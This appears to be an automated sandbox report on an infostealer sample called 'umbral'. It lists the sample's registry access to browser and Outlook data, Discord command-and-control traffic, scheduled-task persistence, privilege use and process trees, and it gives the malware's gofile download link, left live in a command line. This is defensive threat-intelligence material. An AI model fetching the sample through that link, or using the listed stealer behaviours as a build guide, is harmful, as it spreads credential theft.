umbral | hxxps://gofile[.]io/d/YHWmpb

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Control Panel\International\Geo\Nation	BootstrapperNew.exe

Executes dropped EXE 5 IoCs

pid	Process
1684	BootstrapperNew.exe
4260	BootstrapperNew.exe
1888	BootstrapperNew.exe
2372	tyg5edla.pid.exe
4484	xdwdNode.js.exe

Loads dropped DLL 64 IoCs

pid	Process
628	Process not Found
616	Process not Found
1712	Process not Found
5032	WmiApSrv.exe
3812	Process not Found
3324	Process not Found
4028	Process not Found
2868	Process not Found
3264	Process not Found
2612	Process not Found
2624	Process not Found
2372	Process not Found
4752	Process not Found
3500	Process not Found
4904	Process not Found
1920	Process not Found
4512	Process not Found
1420	Process not Found
2948	Process not Found
4116	Process not Found
2920	Process not Found
840	Process not Found
2680	Process not Found
1088	Process not Found
4416	Process not Found
1092	Process not Found
4484	Process not Found
2084	msedge.exe
1124	Process not Found
3588	Process not Found
4784	Process not Found
4528	Process not Found
1660	Process not Found
3588	Process not Found
452	Process not Found
2124	Process not Found
3312	Process not Found
2792	Process not Found
3964	Process not Found
2100	Process not Found
1872	Process not Found
1824	Process not Found
236	Process not Found
2868	timeout.exe
1912	Process not Found
4260	BootstrapperNew.exe
4124	taskmgr.exe
1776	Process not Found
1292	Process not Found
3076	Process not Found
2552	WmiApSrv.exe
1140	Process not Found
3692	Process not Found
4976	Process not Found
1532	Process not Found
3124	Process not Found
1140	Process not Found
5092	Process not Found
4160	Process not Found
4332	Process not Found
4416	Process not Found
5064	Process not Found
1080	Process not Found
4544	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
125	discord.com
124	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
75	icanhazip.com
122	ip-api.com

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\xdwdWireshark Host.exe	BootstrapperNew.exe
File opened for modification	C:\Program Files\xdwdWireshark Host.exe	BootstrapperNew.exe
File opened for modification	C:\Program Files\xdwdWireshark Host.exe	BootstrapperNew.exe
File opened for modification	C:\Program Files\xdwdWireshark Host.exe	BootstrapperNew.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\xdwd.dll	BootstrapperNew.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4332	cmd.exe
3588	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	BootstrapperNew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	BootstrapperNew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	BootstrapperNew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	BootstrapperNew.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2868	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
2272	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "178"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000_Classes\Local Settings	msedge.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3588	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5088	schtasks.exe
2028	schtasks.exe
4332	schtasks.exe
4972	schtasks.exe
4392	schtasks.exe
4460	schtasks.exe
1488	schtasks.exe
3104	schtasks.exe
1032	schtasks.exe
3864	schtasks.exe
1776	schtasks.exe
4672	schtasks.exe
188	schtasks.exe
2768	schtasks.exe
5016	schtasks.exe
2992	schtasks.exe
1656	schtasks.exe
1292	schtasks.exe
4640	schtasks.exe
2796	schtasks.exe
2552	schtasks.exe
4256	schtasks.exe
3048	schtasks.exe
1144	schtasks.exe
1604	schtasks.exe
3176	schtasks.exe
4988	schtasks.exe
4160	schtasks.exe
4056	schtasks.exe
4964	schtasks.exe
4460	schtasks.exe
708	schtasks.exe
4460	schtasks.exe
5068	schtasks.exe
720	schtasks.exe
2992	schtasks.exe
2036	schtasks.exe
5040	schtasks.exe
4964	schtasks.exe
2216	schtasks.exe
2868	schtasks.exe
2156	schtasks.exe
3228	schtasks.exe
720	schtasks.exe
3324	schtasks.exe
2548	schtasks.exe
4772	schtasks.exe
1660	schtasks.exe
4928	schtasks.exe
3324	schtasks.exe
2704	schtasks.exe
5012	schtasks.exe
5036	schtasks.exe
4964	schtasks.exe
5000	schtasks.exe
3588	schtasks.exe
3648	schtasks.exe
3020	schtasks.exe
4448	schtasks.exe
2544	schtasks.exe
3252	schtasks.exe
4912	schtasks.exe
1652	schtasks.exe
952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	msedge.exe
1648	msedge.exe
3524	msedge.exe
3524	msedge.exe
1864	identity_helper.exe
1864	identity_helper.exe
4012	msedge.exe
4012	msedge.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
5032	WmiApSrv.exe
5032	WmiApSrv.exe
1684	BootstrapperNew.exe
1684	BootstrapperNew.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2868	timeout.exe
2868	timeout.exe
4260	BootstrapperNew.exe
4260	BootstrapperNew.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4124	taskmgr.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
4488	Process not Found
3048	Process not Found
3692	Process not Found
4420	Process not Found
1912	Process not Found
1740	Process not Found
1104	Process not Found
2980	Process not Found
3008	Process not Found
4688	Process not Found
2468	Process not Found
1852	Process not Found
976	Process not Found
1916	Process not Found
4416	Process not Found
1444	Process not Found
1316	Process not Found
1240	Process not Found
4524	Process not Found
1388	Process not Found
4576	Process not Found
5052	Process not Found
2068	Process not Found
3668	Process not Found
3032	Process not Found
2036	Process not Found
1564	Process not Found
2060	Process not Found
4164	Process not Found
4976	Process not Found
872	Process not Found
3504	Process not Found
4924	Process not Found
4668	Process not Found
4956	Process not Found
704	Process not Found
4732	Process not Found
2964	Process not Found
1716	Process not Found
2244	Process not Found
5020	Process not Found
2800	Process not Found
5060	Process not Found
2696	Process not Found
3392	Process not Found
1440	Process not Found
1784	Process not Found
5108	Process not Found
4400	Process not Found
2480	Process not Found
4380	Process not Found
3768	Process not Found
3112	Process not Found
4284	Process not Found
636	Process not Found
1556	Process not Found
1676	Process not Found
1300	Process not Found
4316	Process not Found
1568	Process not Found
2512	Process not Found
3012	Process not Found
4000	Process not Found
3860	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs

pid	Process
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	BootstrapperNew.exe
Token: SeDebugPrivilege	4260	BootstrapperNew.exe
Token: SeDebugPrivilege	4124	taskmgr.exe
Token: SeSystemProfilePrivilege	4124	taskmgr.exe
Token: SeCreateGlobalPrivilege	4124	taskmgr.exe
Token: SeDebugPrivilege	1888	BootstrapperNew.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	2372	tyg5edla.pid.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeIncreaseQuotaPrivilege	4316	powershell.exe
Token: SeSecurityPrivilege	4316	powershell.exe
Token: SeTakeOwnershipPrivilege	4316	powershell.exe
Token: SeLoadDriverPrivilege	4316	powershell.exe
Token: SeSystemProfilePrivilege	4316	powershell.exe
Token: SeSystemtimePrivilege	4316	powershell.exe
Token: SeProfSingleProcessPrivilege	4316	powershell.exe
Token: SeIncBasePriorityPrivilege	4316	powershell.exe
Token: SeCreatePagefilePrivilege	4316	powershell.exe
Token: SeBackupPrivilege	4316	powershell.exe
Token: SeRestorePrivilege	4316	powershell.exe
Token: SeShutdownPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeSystemEnvironmentPrivilege	4316	powershell.exe
Token: SeRemoteShutdownPrivilege	4316	powershell.exe
Token: SeUndockPrivilege	4316	powershell.exe
Token: SeManageVolumePrivilege	4316	powershell.exe
Token: 33	4316	powershell.exe
Token: 34	4316	powershell.exe
Token: 35	4316	powershell.exe
Token: 36	4316	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	wmic.exe
Token: SeSecurityPrivilege	4884	wmic.exe
Token: SeTakeOwnershipPrivilege	4884	wmic.exe
Token: SeLoadDriverPrivilege	4884	wmic.exe
Token: SeSystemProfilePrivilege	4884	wmic.exe
Token: SeSystemtimePrivilege	4884	wmic.exe
Token: SeProfSingleProcessPrivilege	4884	wmic.exe
Token: SeIncBasePriorityPrivilege	4884	wmic.exe
Token: SeCreatePagefilePrivilege	4884	wmic.exe
Token: SeBackupPrivilege	4884	wmic.exe
Token: SeRestorePrivilege	4884	wmic.exe
Token: SeShutdownPrivilege	4884	wmic.exe
Token: SeDebugPrivilege	4884	wmic.exe
Token: SeSystemEnvironmentPrivilege	4884	wmic.exe
Token: SeRemoteShutdownPrivilege	4884	wmic.exe
Token: SeUndockPrivilege	4884	wmic.exe
Token: SeManageVolumePrivilege	4884	wmic.exe
Token: 33	4884	wmic.exe
Token: 34	4884	wmic.exe
Token: 35	4884	wmic.exe
Token: 36	4884	wmic.exe
Token: SeIncreaseQuotaPrivilege	4884	wmic.exe
Token: SeSecurityPrivilege	4884	wmic.exe
Token: SeTakeOwnershipPrivilege	4884	wmic.exe
Token: SeLoadDriverPrivilege	4884	wmic.exe
Token: SeSystemProfilePrivilege	4884	wmic.exe
Token: SeSystemtimePrivilege	4884	wmic.exe
Token: SeProfSingleProcessPrivilege	4884	wmic.exe
Token: SeIncBasePriorityPrivilege	4884	wmic.exe
Token: SeCreatePagefilePrivilege	4884	wmic.exe
Token: SeBackupPrivilege	4884	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
3524	msedge.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe
4124	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
780	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 1680	3524	msedge.exe	83
PID 3524 wrote to memory of 1680	3524	msedge.exe	83
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 3840	3524	msedge.exe	84
PID 3524 wrote to memory of 1648	3524	msedge.exe	85
PID 3524 wrote to memory of 1648	3524	msedge.exe	85
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86
PID 3524 wrote to memory of 2404	3524	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2780	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	BootstrapperNew.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/YHWmpb
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff84a9646f8,0x7ff84a964708,0x7ff84a964718
  2⤵
  PID:1680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
  2⤵
  PID:3840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  PID:1648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
  2⤵
  PID:2404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:2820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
